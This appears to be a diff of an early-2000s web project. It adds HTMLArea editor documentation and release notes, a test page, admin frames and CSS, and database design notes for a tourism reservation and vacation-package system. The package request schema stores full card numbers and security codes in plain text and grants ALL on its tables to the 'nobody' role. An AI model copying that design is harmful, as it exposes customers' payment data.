+<ul>
+ <li>'space' -- Inserts a space of 5 pixels (the width is configurable by external
+ <acronym title="Cascading Style Sheets">CSS</acronym>) at the current
+ position in the toolbar.</li>
+ <li>'separator' -- Inserts a small vertical separator, for visually grouping related
+ buttons.</li>
+ <li>'linebreak' -- Starts a new line in the toolbar. Subsequent controls will be
+ inserted on the new line.</li>
+</ul>
+
+<p><span class="warning">Important:</span> It's recommended that you add
+custom features and configuration to a separate file. This will ensure you
+that when we release a new official version of HTMLArea you'll have less
+trouble upgrading it.</p>
+
+<h3>How do I create custom buttons?</h3>
+
+<p>By design, the toolbar is easily extensible. For adding a custom button
+one needs to follow two steps.</p>
+
+<h4 id="regbtn">1. Register the button in <code>config.btnList</code>.</h4>
+
+<p>For each button in the toolbar, HTMLArea needs to know the following
+information:</p>
+<ul>
+ <li>a name for it (we call it the ID of the button);</li>
+ <li>the path to an image to be displayed in the toolbar;</li>
+ <li>a tooltip for it;</li>
+ <li>whether the button is enabled or not in text mode;</li>
+ <li>what to do when the button is clicked;</li>
+</ul>
+<p>You need to provide all this information for registering a new button
+too. The button ID can be any string identifier and it's used when
+defining the toolbar, as you saw above. We recommend starting
+it with "my-" so that it won't clash with the standard ID-s (those from
+the default toolbar).</p>
+
+<p class="note">Register button example #1</p>
+
+<pre class="code"
+><span class="comment">// get a default configuration
+</span><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config();
+<span class="comment">// register the new button using Config.registerButton.
+// parameters: button ID, tooltip, image, textMode,
+</span>config.registerButton("<span class="string">my-hilite</span>", "<span class="string">Highlight text</span>", "<span class="string">my-hilite.gif</span>", <span class="keyword">false</span>,
+<span class="comment">// function that gets called when the button is clicked
+</span> <span class="keyword">function</span>(editor, id) {
+ editor.surroundHTML('<span class="string"><span class="hilite"></span>', '<span class="string"></span></span>');
+ }
+);</pre>
+
+<p>An alternate way of calling registerButton is exemplified above. Though
+the code might be a little bit larger, using this form makes your code more
+maintainable. It doesn't even needs comments as it's pretty clear.</p>
+
+<p class="note">Register button example #2</p>
+
+<pre class="code"
+><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config();
+config.registerButton({
+ id : "<span class="string">my-hilite</span>",
+ tooltip : "<span class="string">Highlight text</span>",
+ image : "<span class="string">my-hilite.gif</span>",
+ textMode : <span class="keyword">false</span>,
+ action : <span class="keyword">function</span>(editor, id) {
+ editor.surroundHTML('<span class="string"><span class="hilite"></span>', '<span class="string"></span></span>');
+ }
+});</pre>
+
+<p>You might notice that the "action" function receives two parameters:
+<b>editor</b> and <b>id</b>. In the examples above we only used the
+<b>editor</b> parameter. But it could be helpful for you to understand
+both:</p>
+
+<ul>
+ <li><b>editor</b> is a reference to the HTMLArea object. Since our entire
+ code now has an <acronym title="Object Oriented Programming">OOP</acronym>-like
+ design, you need to have a reference to
+ the editor object in order to do things with it. In previous versions of
+ HTMLArea, in order to identify the object an ID was used -- the ID of the
+ HTML element. In this version ID-s are no longer necessary.</li>
+
+ <li><b>id</b> is the button ID. Wondering why is this useful? Well, you
+ could use the same handler function (presuming that it's not an anonymous
+ function like in the examples above) for more buttons. You can <a
+ href="#btnex">see an example</a> a bit later in this document.</li>
+</ul>
+
+<h4>2. Inserting it into the toolbar</h4>
+
+<p>At this step you need to specify where in the toolbar to insert the
+button, or just create the whole toolbar again as you saw in the previous
+section. You use the button ID, as shown in the examples of customizing the
+toolbar in the previous section.</p>
+
+<p>For the sake of completion, following there are another examples.</p>
+
+<p class="note">Append your button to the default toolbar</p>
+
+<pre class="code"
+>config.toolbar.push([ "<span class="string">my-hilite</span>" ]);</pre>
+
+<p class="note">Customized toolbar</p>
+
+<pre class="code"
+>config.toolbar = [
+ ['<span class="string">fontname</span>', '<span class="string">space</span>',
+ '<span class="string">fontsize</span>', '<span class="string">space</span>',
+ '<span class="string">formatblock</span>', '<span class="string">space</span>',
+ '<span class="string">separator</span>', '<span class="string">my-hilite</span>', '<span class="string">separator</span>', '<span class="string">space</span>', <span class="comment">// here's your button
+</span> '<span class="string">bold</span>', '<span class="string">italic</span>', '<span class="string">underline</span>', '<span class="string">space</span>']
+];</pre>
+
+<p><span class="note">Note:</span> in the example above our new button is
+between two vertical separators. But this is by no means required. You can
+put it wherever you like. Once registered in the btnList (<a
+href="#regbtn">step 1</a>) your custom button behaves just like a default
+button.</p>
+
+<p><span class="warning">Important:</span> It's recommended that you add
+custom features and configuration to a separate file. This will ensure you
+that when we release a new official version of HTMLArea you'll have less
+trouble upgrading it.</p>
+
+<h4 id="btnex">A complete example</h4>
+
+<p>Please note that it is by no means necessary to include the following
+code into the htmlarea.js file. On the contrary, it might not work there.
+The configuration system is designed such that you can always customize the
+editor <em>from outside files</em>, thus keeping the htmlarea.js file
+intact. This will make it easy for you to upgrade your HTMLArea when we
+release a new official version. OK, I promise it's the last time I said
+this. ;)</p>
+
+<pre class="code"
+><span class="comment">// All our custom buttons will call this function when clicked.
+// We use the <b>buttonId</b> parameter to determine what button
+// triggered the call.
+</span><span class="keyword">function</span> <span class="function-name">clickHandler</span>(editor, buttonId) {
+ <span class="keyword">switch</span> (buttonId) {
+ <span class="keyword">case</span> "<span class="string">my-toc</span>":
+ editor.insertHTML("<span class="string"><h1>Table Of Contents</h1></span>");
+ <span class="keyword">break</span>;
+ <span class="keyword">case</span> "<span class="string">my-date</span>":
+ editor.insertHTML((<span class="keyword">new</span> Date()).toString());
+ <span class="keyword">break</span>;
+ <span class="keyword">case</span> "<span class="string">my-bold</span>":
+ editor.execCommand("<span class="string">bold</span>");
+ editor.execCommand("<span class="string">italic</span>");
+ <span class="keyword">break</span>;
+ <span class="keyword">case</span> "<span class="string">my-hilite</span>":
+ editor.surroundHTML("<span class="string"><span class=\"hilite\"></span>", "<span class="string"></span></span>");
+ <span class="keyword">break</span>;
+ }
+};
+
+<span class="comment">// Create a new configuration object
+</span><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config();
+
+<span class="comment">// Register our custom buttons
+</span>config.registerButton("<span class="string">my-toc</span>", "<span class="string">Insert TOC</span>", "<span class="string">my-toc.gif</span>", <span class="keyword">false</span>, clickHandler);
+config.registerButton("<span class="string">my-date</span>", "<span class="string">Insert date/time</span>", "<span class="string">my-date.gif</span>", <span class="keyword">false</span>, clickHandler);
+config.registerButton("<span class="string">my-bold</span>", "<span class="string">Toggle bold/italic</span>", "<span class="string">my-bold.gif</span>", <span class="keyword">false</span>, clickHandler);
+config.registerButton("<span class="string">my-hilite</span>", "<span class="string">Hilite selection</span>", "<span class="string">my-hilite.gif</span>", <span class="keyword">false</span>, clickHandler);
+
+<span class="comment">// Append the buttons to the default toolbar
+</span>config.toolbar.push(["<span class="string">linebreak</span>", "<span class="string">my-toc</span>", "<span class="string">my-date</span>", "<span class="string">my-bold</span>", "<span class="string">my-hilite</span>"]);
+
+<span class="comment">// Replace an existing textarea with an HTMLArea object having the above config.
+</span>HTMLArea.replace("<span class="string">textAreaID</span>", config);</pre>
+
+
+<hr />
+<address>© <a href="http://interactivetools.com" title="Visit our website"
+>InteractiveTools.com</a> 2002-2004.
+<br />
+© <a href="http://dynarch.com">dynarch.com</a> 2003-2004<br />
+HTMLArea v3.0 developed by <a
+href="http://dynarch.com/mishoo/">Mihai Bazon</a>.
+<br />
+Documentation written by Mihai Bazon.
+</address>
+<!-- hhmts start --> Last modified: Wed Jan 28 12:18:23 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+</body> </html>
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html xmlns="http://www.w3.org/1999/xhtml">
+ <head>
+ <title><% $basename %> release notes</title>
+ <style>
+ .fixme { color: red; }
+ </style>
+ </head>
+
+ <body>
+
+ <h1><% $basename %> release notes</h1>
+
+ <p>This release was compiled on <% $time %>.</p>
+
+ <h2>3.0-rc1</h2>
+
+ <p>Changes since 3.0-Beta:</p>
+
+ <ul>
+ <li>
+ <b>New plugins</b>
+ <ul>
+ <li>
+ ContextMenu plugin (provides a nice context menu with common
+ operations, including table ops, link ops, etc.)
+ </li>
+ <li>
+ CSS plugin (provides an easy way to insert/change CSS classes)
+ </li>
+ <li>
+ FullPage plugin (allows HTMLArea to edit a whole HTML file,
+ not only the content within <body>.)
+ </li>
+ </ul>
+ </li>
+ <li>
+ <b>Changes in the SpellChecker plugin</b>
+ <ul>
+ <li>
+ Many bugfixes: now it works ;-) Fully Unicode-safe.
+ </li>
+ <li>
+ Speed and bandwidth optimization: reports the list of
+ suggestions only once for each mispelled word; this helps
+ in cases where you have, for instance, the word “HTMLArea”
+ in 10 places all over the document; the list of
+ suggestions for it--which is kind of huge--will only be
+ included <em>once</em>.
+ </li>
+ <li>
+ User interface improvements: the highlighted word will
+ remain in view; in cases where it's normally outside, the
+ window will be scrolled to it.
+ </li>
+ <li>
+ Added a "Revert" button for those that change their minds ;-)
+ </li>
+ <li>
+ Added a "Info" button which reports information about the
+ document, retrieved by the server-side spell checker:
+ total number of words, total number of mispelled words,
+ number of suggestions made, spell check time, etc. More
+ can be easily added. <span class="fixme">FIXME: this part
+ is not yet internationalized.</span>
+ </li>
+ <li>
+ The server-side spell checker now uses XML::DOM instead of
+ HTML::Parser, which means that it will be unable to parse
+ “tag-soup” HTML. It needs valid code. Usually HTMLArea
+ generates valid code, but on rare occasions it might fail
+ and the spell checker will report a gross error message.
+ This gonna have to be fixed, but instead of making the
+ spell checker accept invalid HTML I prefer to make
+ HTMLArea generate valid code, so changes are to be done in
+ other places ;-)
+ </li>
+ </ul>
+ </li>
+ <li>
+ <b>Changes in the core editor</b>
+ <ul>
+ <li>
+ Easier to setup: you only need to load
+ <tt>htmlarea.js</tt>; other scripts will be loaded
+ automatically. <a href="reference.html">Documentation</a>
+ and <a href="examples/">examples</a> updated.
+ </li>
+ <li>
+ Better plugin support (they register information about
+ themselves with the editor; can register event handlers for
+ the editor, etc.)
+ </li>
+ <li>
+ New about box; check it out, it's cool ;-)
+ </li>
+ <li>
+ Word cleaner (can be enabled to automatically kill Word crap
+ on paste (see Config.killWordOnPaste); otherwise accessible by
+ pressing CTRL-0 in the editor; a toolbar button will come up
+ soon)
+ </li>
+ <li>
+ Image preview in "insert image" dialog. Also allows
+ modification of current image, if selected.
+ </li>
+ <li>
+ New "insert link" dialog, allows target and title
+ specification, allows editing links.
+ </li>
+ <li>
+ Implemented support for text direction (left-to-right or
+ right-to-left).
+ </li>
+ <li>
+ Lots of bug fixes! ... and more, I guess ;-) an
+ automatically generated <a href="ChangeLog">change log</a>
+ is now available.
+ </li>
+ </ul>
+ </li>
+ </ul>
+
+ <p>I don't have the power to go through the <a
+href="http://sourceforge.net/tracker/?atid=525656&group_id=69750&func=browse">bug
+system</a> at SourceForge
+ now. Some of the bugs reported there may be fixed; I'll update
+ their status, some other time. If you reported bugs there and now
+ find them to be fixed, please let me know.</p>
+
+ <h2>3.0-Beta</h2>
+
+ <p>Changes since 3.0-Alpha:</p>
+
+ <ul>
+
+ <li>Performance improvements.</li>
+
+ <li>Many bugs fixed.</li>
+
+ <li>Plugin infrastructure.</li>
+
+ <li>TableOperations plugin.</li>
+
+ <li>SpellChecker plugin.</li>
+
+ <li>Status bar.</li>
+
+ <li>API for registering custom buttons and drop-down boxes in the
+ toolbar.</li>
+
+ <li>Toolbar can contain text labels.</li>
+
+ <li>Cut, copy, paste, undo, redo buttons.</li>
+
+ </ul>
+<%doc>
+ <h2>Rationale for Beta</h2>
+
+ <p>Why was this released as "Beta"? The code is quite stable and it
+ didn't deserve a "Beta" qualification. However, there are some things
+ left to do for the real 3.0 version. These things will not affect the
+ API to work with HTMLArea, in other words, you can install the Beta
+ right now and then install the final release without modifying your
+ code. That's if you don't modify HTMLArea itself. ;-)</p>
+
+ <h2>To-Do before 3.0 final</h2>
+
+ <ol>
+
+ <li>We should use a single popup interface. Currently there are two:
+ dialog.js and popupwin.js; dialog.js emulates modal dialogs, which
+ sucks when you want to open "select-color" from another popup and not
+ from the editor itself. Very buggy in IE. We should probably use only
+ modeless dialogs (that is, popupwin.js).</li>
+
+ <li>Internationalization for the SpellChecker plugin.</li>
+
+ <li>Internationalization for the TableOperations plugin.</li>
+
+ <li>People who sent translations are invited to re-iterate through
+ their work and make it up-to-date with lang/en.js which is the main
+ lang file for HTMLArea-3.0. Some things have changed but not all
+ translations are updated.</li>
+
+ <li><strong>Documentation</strong>.</li>
+
+ </ol>
+</%doc>
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Sun Aug 3 16:55:08 EEST 2003 -->
+<!-- hhmts start --> Last modified: Sun Feb 1 13:16:10 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
+
+<%ARGS>
+ $project => 'HTMLArea'
+ $version => '3.0'
+ $release => 'rc1'
+ $basename => 'HTMLArea-3.0-rc1'
+</%ARGS>
+
+<%INIT>;
+use POSIX qw(strftime);
+my $time = strftime '%b %e, %Y [%H:%M] GMT', gmtime;
+</%INIT>
--- /dev/null
+<html>
+<head>
+ <script>
+ function breakit(){
+ elem = document.getElementById('page1');
+ elem.style.display = 'none'
+ elem.style.display = 'block'
+ if (HTMLArea.is_gecko) {
+ editor._doc.designMode = 'off';
+ editor._doc.designMode = 'on';
+ editor.focusEditor();
+ }
+ }
+ _editor_url = '/htmlarea/';
+ _editor_lang = 'en';
+ </script>
+ <script type="text/javascript" src="/htmlarea/htmlarea.js"></script>
+</head>
+<body>
+ <button onclick='breakit();'>Break It</button>
+ <div id="page1" class="pagetext">
+ <textarea class="inputbox" cols="50" rows="20" name="introtext" id="introtext"></textarea>
+ </div>
+ <script language="JavaScript1.2" defer="defer">
+ var editor = new HTMLArea("introtext");
+ editor.generate('introtext');
+ </script>
+</body>
+</html>
--- /dev/null
+<?include("../setup.phtml")?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
+ "http://www.w3.org/TR/html4/frameset.dtd">
+<html>
+<head>
+<title><?=SITENAME?> Administration</title>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+</head>
+<frameset cols="150,*">
+<frame name="Nav" src="nav.phtml" frameborder="0">
+<frame name="Main" src="splash.phtml" frameborder="0">
+<noframes><p>Admin Requires Frames Capable Browser</p>
+You can get a Standard Compliant browser from:
+<ul>
+<li>Microsoft <a href="http://www.microsoft.com/windows/ie/">Internet Explorer</a></li>
+<li>Mozilla's <a href="http://www.mozilla.org/products/firefox/">Firefox</a></li>
+</ul>
+</noframes>
+</frameset>
+</html>
--- /dev/null
+body {
+ padding-left: 50px;
+ font-family: arial, helvetica, sans-serif;
+ font-size: 12px;
+ }
+.clearer {
+ height:1px;
+ overflow:hidden;
+ margin-top:-1px;
+ clear:left;
+}
+h1 {font-size: 18px; color: #777;}
+form {margin: 0; padding: 0;}
+/* TOOLBOX NAV */
+ul#toolbox {list-style-position:inside;list-style-type:circle;}
+ul#toolbox li {list-style-type:circle}
+ul#toolbox li.toolboxArrow {list-style-type:none;padding-left:0;margin-left:-7px;}
+* html ul#toolbox li.toolboxArrow {margin-left:-20px;} /*style for IE*/
+/* APP Nav*/
+ul.admin_nav
+{
+margin: 0;
+list-style-type: none;
+padding: 5px 0;
+}
+ul.admin_nav li { display: inline; }
+ul.admin_nav li a
+{
+border-top: 1px solid #eee;
+border-right: 1px solid #ccc;
+border-bottom: 1px solid #ccc;
+border-left: 1px solid #eee;
+text-decoration: none;
+background-color: #ddd;
+color: #000;
+padding: 2px 6px;
+margin: 0 1px;
+font-weight: bold;
+font-size: 12px;
+}
+#admin-list-table {clear:left;width:500px;}
+#admin-list-table td {
+ border: 2px solid #ccc;
+ border-collapse: collapse;
+ background: #eee;
+ padding: 4px;}
+/*#admin-list-table img {border: 0; text-align: center; margin: 0 auto; display: block;}*/
+#admin-list-table a:link {color: #666;}
+#admin-list-table a:visited {color: #666;}
+#admin-list-table a:active {color: #666;}
+#admin-list-table a:hover {color: #000;}
+
+/*event-edit-table */
+#admin-edit-table {
+ clear:left;
+ font-family: arial, helvetica, sans-serif;
+ border: 2px solid #ccc;
+ border-collapse: collapse;
+ font-size: 12px;
+ }
+#admin-edit-table td {
+ border: 2px solid #ccc;
+ border-collapse: collapse;
+ background: #eee; padding: 4px;}
+#admin-list-table table td {border:none;padding:0;margin:0;}
+#admin-edit-table table td {border:none;padding:0;margin:0;}
+#admin-edit-table select,
+#admin-edit-table input,
+#admin-edit-table option {font-size: 12px;}
--- /dev/null
+Group Tour table notes
+----------------------
+Max one tour table entry per member. May not be an entry
+for a member if they don't participate.
+
+ id | integer | Sequential ID of record
+ member | integer | ID of member in "member" table
+ type | smallint | Type: 1=Attraction, 2=Accommodation, 3=Restaurant, 4=Receptive Operator, 5=Ferry Boat
+ descr | text | Description text
+ contact | text | Contact Name
+ phone | text | Phone Number
+ fax | text | Fax Number
+ comp_policy | text | Comp Policy
+
+ These fields only for type 1 (Attractions)
+ att_adult_rate | double precision | Adult Rate
+ att_youth_rate | double precision | Youth Rate
+ att_tour_time | text | Approximate Tour Time
+
+ These fields only for type 2 (Accomoodtions)
+ acc_may_jun_lo | double precision | May-June Low Price
+ acc_may_jun_hi | double precision | May-June High Price
+ acc_jul_aug_lo | double precision | July-August Low Price
+ acc_jul_aug_hi | double precision | July-August High Price
+ acc_sep_oct_lo | double precision | September-October Low Price
+ acc_sep_oct_hi | double precision | September-October High Price
+ acc_numb_rooms | smallint | Number of rooms
+ acc_bag_type | smallint | Baggage Handling: 1=Price Per Bag, 2=Price per Person, 4=Set Fee, 4=Comp(no charge), 99=No baggage handling
+ acc_bag_fee | double precision | Baggage Handling Fee
+ acc_pool_in | boolean | Indoor Pool
+ acc_pool_out | boolean | Outdoor Pool
+ acc_pool_heat | boolean | Heated Pool
+ acc_hottub | boolean | Hot Tub
+ acc_breakfast | smallint | Breakfast Type: 1=Continental, 2=Expanded, 3=Full, 99=Not Available
+ acc_break_upgr | boolean | Upgrade to full breakfast available
+ acc_break_adj | boolean | Breakfast at adjacent Property
+
+ These fields only for type 3 (Restaurant)
+ res_br_adult | double precision | Breakfast Price Adult
+ res_br_child | double precision | Breakfast Price Child
+ res_ln_adult | double precision | Lunch Price Adult
+ res_ln_child | double precision | Lunch Price Child
+ res_dr_adult | double precision | Dinner Price Adult
+ res_dr_child | double precision | Dinner Price Child
+
+ These fields only for type 5 (Ferry Boat Operators)
+ fer_adult_rate | double precision | Adult Rate
+ fer_youth_rate | double precision | Youth Rate
+
+ Following fields are for pending data update by member.
+ They directly match all above fields and are not used for output!
+ pdescr | text |
+ pcontact | text |
+ pphone | text |
+ pfax | text |
+ pcomp_policy | text |
+ patt_adult_rate | double precision |
+ patt_youth_rate | double precision |
+ patt_tour_time | text |
+ pacc_may_jun_lo | double precision |
+ pacc_may_jun_hi | double precision |
+ pacc_jul_aug_lo | double precision |
+ pacc_jul_aug_hi | double precision |
+ pacc_sep_oct_lo | double precision |
+ pacc_sep_oct_hi | double precision |
+ pacc_numb_rooms | smallint |
+ pacc_bag_type | smallint |
+ pacc_bag_fee | double precision |
+ pacc_pool_in | boolean |
+ pacc_pool_out | boolean |
+ pacc_pool_heat | boolean |
+ pacc_hottub | boolean |
+ pacc_breakfast | smallint |
+ pacc_break_upgr | boolean |
+ pacc_break_adj | boolean |
+ pres_br_adult | double precision |
+ pres_br_child | double precision |
+ pres_ln_adult | double precision |
+ pres_ln_child | double precision |
+ pres_dr_adult | double precision |
+ pres_dr_child | double precision |
+ pfer_adult_rate | double precision |
+ pfer_youth_rate | double precision |
+ ptype | smallint |
--- /dev/null
+Notes on Vacation Packages addition to the Reservation System
+-------------------------------------------------------------
+
+Things to Fix
+
+ Decline of reservation restores inventory.
+
+
+Changes to database
+
+ Add to accommodation table
+ ALTER TABLE accommodation ADD COLUMN only_in_package bool;
+ UPDATE accommodation SET only_in_package = 'f';
+
+ Add Hotel Category Table
+
+ CREATE TABLE hotel_cat
+ (
+ id SERIAL,
+ name text,
+ descr text,
+ active bool
+ );
+ REVOKE ALL on hotel_cat from PUBLIC;
+ GRANT ALL on hotel_cat to nobody;
+ REVOKE ALL on hotel_cat_id_seq from PUBLIC;
+ GRANT ALL on hotel_cat_id_seq to nobody;
+
+ -- Populate prop_type with default values
+
+ INSERT INTO hotel_cat ( name, descr, active ) VALUES ( 'Economy', '', TRUE );
+ INSERT INTO hotel_cat ( name, descr, active ) VALUES ( 'Standard', '', TRUE );
+ INSERT INTO hotel_cat ( name, descr, active ) VALUES ( 'Deluxe', '', TRUE );
+ INSERT INTO hotel_cat ( name, descr, active ) VALUES ( 'Deluxe Waterfront', '', TRUE );
+ INSERT INTO hotel_cat ( name, descr, active ) VALUES ( 'Premium Waterfront', '', TRUE );
+ INSERT INTO hotel_cat ( name, descr, active ) VALUES ( '', '', FALSE );
+ INSERT INTO hotel_cat ( name, descr, active ) VALUES ( '', '', FALSE );
+ INSERT INTO hotel_cat ( name, descr, active ) VALUES ( '', '', FALSE );
+ INSERT INTO hotel_cat ( name, descr, active ) VALUES ( '', '', FALSE );
+ INSERT INTO hotel_cat ( name, descr, active ) VALUES ( '', '', FALSE );
+
+ Add Hotel Category type to Member data
+
+ ALTER TABLE member ADD COLUMN hotel_cat int4;
+ UPDATE member SET hotel_cat = 1;
+
+ Add Participates in Packages flag
+
+ ALTER TABLE member ADD COLUMN packages bool;
+ UPDATE member SET packages = FALSE;
+
+ Add Package data to invetory
+
+ ALTER TABLE inventory ADD COLUMN avail_package int2;
+ UPDATE inventory SET avail_package = 0;
+ ALTER TABLE inventory ADD COLUMN mavb_package bool;
+ UPDATE inventory SET mavb_package = FALSE;
+ ALTER TABLE inventory ADD COLUMN upgrade_price float4;
+ UPDATE inventory SET upgrade_price = 0;
+ ALTER TABLE inventory ADD COLUMN normal_res bool;
+ UPDATE inventory SET normal_res = 't';
+
+
+ Add table for packages
+
+ CREATE TABLE package
+ (
+ id SERIAL,
+ name text,
+ descr text,
+ image text,
+ days int2,
+ adult_price float4,
+ child_price float4,
+ comp1 int4,
+ comp2 int4,
+ comp3 int4,
+ comp4 int4,
+ comp5 int4,
+ comp6 int4,
+ comp7 int4,
+ comp8 int4,
+ comp9 int4,
+ comp10 int4,
+ sort int2
+ );
+ REVOKE ALL on package from PUBLIC;
+ GRANT ALL on package to nobody;
+ REVOKE ALL on package_id_seq from PUBLIC;
+ GRANT ALL on package_id_seq to nobody;
+
+
+ Add table for Package Components
+
+ CREATE TABLE package_comp
+ (
+ id SERIAL,
+ name text,
+ descr text,
+ image text,
+ voucher_req bool,
+ voucher_text text
+ );
+ REVOKE ALL on package_comp from PUBLIC;
+ GRANT ALL on package_comp to nobody;
+ REVOKE ALL on package_comp_id_seq from PUBLIC;
+ GRANT ALL on package_comp_id_seq to nobody;
+
+
+ Add table for Season Types
+
+ Note that the chart_... fields are to use for pricing additional days over the
+ number specified by chart_days. This is needed because some season types only
+ appear in groups of 2 days and some packages are 3 days long. The MAVB does
+ their pricing charts using a different price for that third day. The packages
+ software won't use this for final package pricing, only to generate the general
+ charts for a package.
+
+ CREATE TABLE package_season
+ (
+ id SERIAL,
+ name text,
+ descr text,
+ color text,
+ cat1_price float4,
+ cat2_price float4,
+ cat3_price float4,
+ cat4_price float4,
+ cat5_price float4,
+ cat6_price float4,
+ cat7_price float4,
+ cat8_price float4,
+ cat9_price float4,
+ cat10_price float4,
+ child_price float4,
+ adult_price float4
+ chart_days int,
+ chart_cat1 float4,
+ chart_cat2 float4,
+ chart_cat3 float4,
+ chart_cat4 float4,
+ chart_cat5 float4,
+ chart_cat6 float4,
+ chart_cat7 float4,
+ chart_cat8 float4,
+ chart_cat9 float4,
+ chart_cat10 float4,
+ chart_child float4,
+ chart_adult float4
+ );
+ REVOKE ALL on package_season from PUBLIC;
+ GRANT ALL on package_season to nobody;
+ REVOKE ALL on package_season_id_seq from PUBLIC;
+ GRANT ALL on package_season_id_seq to nobody;
+
+
+ Add table for package dates
+
+ CREATE TABLE package_dates
+ (
+ id SERIAL,
+ season int4,
+ start_date date,
+ end_date date
+ );
+ REVOKE ALL on package_dates from PUBLIC;
+ GRANT ALL on package_dates to nobody;
+ REVOKE ALL on package_dates_id_seq from PUBLIC;
+ GRANT ALL on package_dates_id_seq to nobody;
+
+
+ Add table for Add-Ons
+
+ CREATE TABLE package_addon
+ (
+ id SERIAL,
+ name int4,
+ descr text,
+ image text,
+ adult_price float4,
+ child_price float4,
+ voucher_req bool,
+ voucher_text text,
+ sort int2
+ );
+ REVOKE ALL on package_addon from PUBLIC;
+ GRANT ALL on package_addon to nobody;
+ REVOKE ALL on package_addon_id_seq from PUBLIC;
+ GRANT ALL on package_addon_id_seq to nobody;
+
+
+ Package Request Data
+
+ CREATE TABLE package_req
+ (
+ id SERIAL,
+ fname text,
+ lname text,
+ addr1 text,
+ addr2 text,
+ city text,
+ state text,
+ zip text,
+ country text,
+ phone text,
+ email text,
+ payby int2, -- Note: 1=CC, 2=Check
+ cctype text,
+ ccnumber text,
+ expire text,
+ ccname text,
+ cccode text,
+ confirmation int2,
+ email_ok bool,
+ special_needs text,
+ vehicle_type text,
+ numb_vehicles text,
+ camping_types int2,
+ length int2,
+ motorhome_slide text,
+ trailer_slide text,
+ tow_info text,
+ package int4,
+ nights int2,
+ rooms int2,
+ adults int2,
+ children int2,
+ todlers int2,
+ arrival_date date,
+ member int4,
+ accommodation int4,
+ addons text,
+ total_addons float,
+ package_price float,
+ tourism_tax float,
+ use_tax float,
+ date_entered date,
+ confirmed bool,
+ res_conf bool,
+ declined bool,
+ conf_numb text,
+ date_confirmed date,
+ conf_by text,
+ conf_message text,
+ user_trace_info text,
+ summary text
+ );
+ REVOKE ALL on package_req from PUBLIC;
+ GRANT ALL on package_req to nobody;
+ REVOKE ALL on package_req_id_seq from PUBLIC;
+ GRANT ALL on package_req_id_seq to nobody;
+
+
+Added fields requred
+
+ inventory data
+ # rooms available as part of a package
+
+ "Not saleable in MAVB Package" change to "Saleable in MAVB Package" - Default all to FALSE
+
+ Upgrade price for packages - Total price for this inventory when sold as part of a package
+
+ DONE
+
+ Member data
+
+ Hotel Category
+
+ Flags for...
+
+ Packages with Members accommodations are available to users
+
+ DONE
+
+
+ Add table for Hotel Categories - Preload with...Economy, Standard, Deluxe, Deluxe Waterfront, Premium Waterfront )
+
+ Set this table for 10 categories and don't allow delete or add.
+
+ DONE
+
+ Add table for packages
+ index
+ name
+ description
+ days
+ (attractions and add-on data to be added)
+
+ DONE
+
+ Add table for Season Types
+ index
+ name
+ description
+ color
+
+ Add table for package dates
+ index
+ pointer to Season Type
+ description
+ starting date
+ ending date
+
+ DONE
+
+ Add table for price matrix
+ index
+ pointer to Package
+ pointer to Season Type
+ price for hotel category #1
+ ....
+ price for hotel category #10
+ price for children
+
+ DONE
+
+
+
+
+Need to know more about:
+
+ * What "Tripple/Quad" means
+
+ * Are listed package prices per day or for the number of days listed.
+
+ * If the "# of available units" is less than the number of units available as
+ part of a package, should the number of units available as part of a package
+ be left as it is or should that be adjusted somehow. In other words, if
+
+ the number of units available as part of a package is 10 and the number
+
+ of units available to reserve on-line is 5, and the member then changes the
+ number of units available to reserve on-line back up to 10, should all 10
+ be available as part of a package?
+
+ * Attraction Add-on's, need to figure this all out.
+
+ * Travel insurance - Is this to be offered?
+
+BASIC CONCEPT:
+
+* Vacation packages include accommodations and tickets/attractions.
+
+* Vacation packages are created and managed by MAVB personel
+
+* Packages are sold separately, users see either normal accommodations or
+ packages, not both at the same time.
+
+* Inventory for Packages is drawn from Members inventory up to the number
+ of rooms indicated as available as part of a package.
+
+* Packages are categorized by the following...
+ * Package Number and Name. Indicates the type of package and includes
+ defintion of what's included.
+ * Number of Nights
+ * Tickes and attractions included
+ i.e. Package #1 - Mackinac Island Package
+ Package #2 - Mackinaw Combination Package
+ * Season (? is that a good name?) that indicates the range of dates over
+ which a particular package price is valid. Also indicates price of
+ added children (5-12 and under 5), and price of "Triple/Quad" (whatever that is)
+ i.e. Package "A" - May 5 - June 6
+ Package "B" - May 10-18 & May 31-June 1
+ * Hotel Category that indicates the standard price for most package
+ accommodations at a hotel of that category. Only inventory that includes
+ and "Upgrade Price" is charged more than package price.
+ i.e. Economy, Standard, Delux, ...
+
+
+PROCESS FLOW:
+
+1) User selects package type
+2) User selects dates (display prices in dates)
+3) User selects scale of accommodation
+4) User selects a hotel
+5) User is offered extra nights or attractions add-ons
+5) User checks-out
+ Actions:
+ * Customer gets E-Mail with copy of full request
+ * Package shows up as not-confirmed in MAVB admin area.
+ * MAVB receives E-Mail that a package has been requested
+ * Package also shows up as a non-confirmed reservation request to member
+ * Member does NOT receive E-Mail
+5) MAVB reviews package request and confirms or declines the request.
+ If declined, customer gets E-mail and request is moved to "Declined"
+ If approved...
+ * Customer gets E-Mail that package has been confirmed and detailing
+ how package will be fullfilled
+ * Package is moved to Confirmed
+ * A sheet is printed at the MAVB (perhaps forced by Java) on letter sized
+ form that is perforated halfway. Top half is customer confirmation copy
+ and bottom half is MAVB copy. MAVB copy should have full CC info on it
+ before that info is truncated.
+ * Member sees the reservation moved to Confirmed
+ * Member receives E-Mail when Confirmed by MAVB
+
+
+OTHER CONFIGURATION:
+
+* Member records need added set of flags to indicate one of the following states
+ * Packages with Members accommodations are available to users
+ * Normal reservations for this Member are available to users - This is already in there
+
+* Members inventory needs the following changes.
+ * Change "Not Saleable in MAVB Package" flag to "Saleable in MAVB Package"
+ and set all such flags to false.
+ * Add "Package Upgrade Price" field that will indicate the total price to
+ be charged for that inventory item when sold in a package. (The upgrade
+ cost will be the difference between the normal package price and the
+ "Upgrade Price".)
